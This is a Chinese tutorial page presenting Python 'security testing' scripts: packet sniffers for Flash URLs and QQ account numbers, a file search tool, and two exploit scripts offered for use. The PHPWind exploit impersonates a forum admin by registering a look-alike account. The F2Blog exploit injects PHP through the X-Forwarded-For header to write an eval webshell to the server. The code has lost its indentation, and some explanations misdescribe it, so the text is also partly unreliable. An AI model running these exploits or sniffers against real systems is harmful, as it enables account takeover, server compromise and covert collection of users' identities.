Python常用辅助安全测试6个代码例子
字数 1091 2025-08-18 11:37:37
Python安全测试辅助工具开发指南
1. 网络数据包嗅探技术
1.1 Flash播放地址嗅探
import pcap, struct, re
from pickle import dump, load
# 创建pcap对象
pack = pcap.pcap()
# 设置过滤规则,只捕获TCP端口80的数据
pack.setfilter('tcp port 80')
# 定义匹配Flash视频的正则表达式
regx = r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls = []
hosts = []
print('start capture....')
for recv_time, recv_data in pack:
urls = re.findall(regx, recv_data)
if(len(urls) != 0):
print(urls)
关键点:
- 使用pcap库进行网络数据包捕获
- 通过setfilter方法过滤TCP 80端口(HTTP)流量
- 正则表达式匹配.flv和.swf文件路径
- 实时捕获并显示匹配的URL
1.2 QQ号码嗅探
# -*- coding: cp936 -*-
import pcap, struct
pack = pcap.pcap()
pack.setfilter('udp') # QQ使用UDP协议
key = ''
for recv_time, recv_data in pack:
recv_len = len(recv_data)
# 根据QQ协议特征识别数据包
if recv_len == 102 and recv_data[42] == chr(02) and recv_data[101] == chr(03):
print(struct.unpack('>I', recv_data[49:53])[0]) # 解包QQ号码
elif recv_len == 55:
print(struct.unpack('>I', recv_data[49:53])[0])
关键点:
- 过滤UDP协议数据包
- 通过数据包长度和特定位置字符识别QQ协议包
- 使用struct解包数据获取QQ号码
- 注意编码声明(cp936)确保中文兼容
2. 文件内容搜索工具
import os, string, re, sys
class SevenFile:
files = []
def FindContent(self, path):
print('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
walks = os.walk(path)
for walk in walks:
for filename in walk[2]:
if('.mht' == filename[-4:]): # 只搜索.mht文件
res_taskid = []
file = walk[0] + '\\' + filename
f = open(file)
content = f.read()
# 编译正则表达式,忽略大小写
pattern_taskid = re.compile(r'Stonehenge-UIVerificationChecklist\.mht', re.IGNORECASE)
res_taskid = pattern_taskid.findall(content)
f.close()
if len(res_taskid) > 0:
self.files.append(file)
def run():
f = SevenFile()
f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
for filepath in f.files:
print(filepath)
print("OK")
if __name__ == "__main__":
run()
关键点:
- 使用os.walk递归遍历目录
- 文件扩展名过滤(.mht)
- 正则表达式内容匹配
- 跨平台路径处理(注意Windows反斜杠)
- 主程序入口检查(name == "main")
3. Web安全测试工具
3.1 PHPWind论坛漏洞利用
# -*- coding: gb2312 -*-
import urllib2, httplib, sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def usage():
print("Usage:\n")
print(" $ ./phpwind.py pwforumurl usertoattack\n")
print(" pwforumurl 目标论坛地址如http://www.80sec.com/")
print(" usertoattack 目标拥有权限的斑竹或管理员")
print(" ×××结果将会在目标论坛注册一个和目标用户一样的帐户")
print(" 最新版本可以使用uid登陆")
print(" 其他版本可以使用cookie+useragent登陆")
print("")
argvs = sys.argv
usage()
data = "regname=%s %s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=...@foo.com&regemailtoall=1&step=2" % (argvs[2], "%c1")
pwurl = "%s/register.php" % argvs[1]
request = urllib2.Request(
url = pwurl,
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': '80sec owned this'
},
data = data)
f = opener.open(request)
headers = f.headers.dict
cookie = headers["set-cookie"]
try:
if cookie.index('winduser'):
print("Exploit Success!")
print("Login with uid password @80sec or Cookie:")
print(cookie)
print("User-agent: 80sec owned this")
except:
print("Error! http://www.80sec.com")
print("Connect root#80sec.com")
关键点:
- 使用urllib2处理HTTP请求和Cookie
- 构造恶意注册表单数据
- 特殊字符(%c1)绕过注册限制
- 自定义User-Agent标识
- 错误处理和结果验证
3.2 SQL注入工具示例
#!c:\python24\pyton
# Exploit For F2Blog All Version
import sys
import httplib
from urlparse import urlparse
from time import sleep
def injection(realurl, path, evil):
cmd = ""
cookie = ""
header = {
'Accept-Language': 'zh-cn',
'Referer': 'http://' + realurl[1] + path + 'index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': useragent,
'Host': realurl[1],
'Content-length': len(cmd),
'Connection': 'Keep-Alive',
'X-Forwarded-For': evil,
'Cookie': cookie
}
http = httplib.HTTPConnection(realurl[1])
http.request("POST", path + "index.php", cmd, header)
sleep(1)
http1 = httplib.HTTPConnection(realurl[1])
http1.request("GET", path + "cache/test11.php")
response = http1.getresponse()
re1 = response.read()
if re1.find('test') == 0:
print('Expoilt Success!\n')
print('View Your shell:\t%s' % shell)
sys.exit(1)
else:
sys.stdout.write("Expoilt FALSE!")
http.close()
sys.stdout.write("\n")
def main():
print('Exploit For F2Blog All Version')
print('Codz by pt...@vip.sina.com\n')
if len(sys.argv) == 2:
url = urlparse(sys.argv[1])
if url[2:-1]:
u = url[2] + '/'
else:
u = url[2]
else:
print("Usage: %s <url> " % sys.argv[0])
print("Example: %s http://127.0.0.1/bk" % sys.argv[0])
sys.exit(0)
print('[+] Connect %s' % url[1])
print('[+] Trying...')
print('[+] Plz wait a long long time...')
global shell, useragent
shell = "http://" + url[1] + u + "cache/test11.php"
query = 'fputs(fopen(\'cache/test11.php\',\'w+ @eval($_REQUEST[c])?>test\')'
query += ';/*'
evilip = query
useragent = ""
cookie = ""
injection(url, u, evilip)
evilip = ""
injection(url, u, evilip)
print('[+] Finished')
if __name__ == '__main__':
main()
关键点:
- 使用httplib发送HTTP请求
- 构造恶意X-Forwarded-For头进行注入
- 通过时间延迟判断注入结果
- 命令行参数处理
- 结果验证(test11.php文件生成)
4. 高级安全测试工具推荐
4.1 sqlmap简介
sqlmap是一个功能强大的自动化SQL注入工具,支持:
- 多种数据库:MySQL, Oracle, PostgreSQL, SQL Server, Access, DB2, Informix, Sybase
- 多种注入技术:盲注、错误回显注入、时间延迟注入等
- 多种请求方式:GET, POST, Cookie注入
- 高级功能:指纹识别、代理支持、优化算法
获取方式:
自行搜索下载,官方网站:http://sqlmap.org/
5. Python安全测试开发要点总结
-
网络嗅探基础
- 使用pcap库捕获网络数据包
- 通过协议特征识别特定应用流量
- 正则表达式匹配关键信息
-
文件系统操作
- os.walk递归遍历目录
- 文件内容正则匹配
- 大文件处理技巧
-
Web安全测试
- 使用urllib2/httplib发送HTTP请求
- Cookie和Header处理
- 漏洞利用代码构造
-
开发实践
- 命令行参数处理
- 跨平台兼容性
- 错误处理和日志记录
-
高级工具
- 了解sqlmap等专业工具
- 学习其设计思路和实现方法
- 根据实际需求开发定制化工具
通过掌握这些Python安全测试技术,可以大大提高安全测试效率,自动化重复性工作,并开发出适合特定需求的专用工具。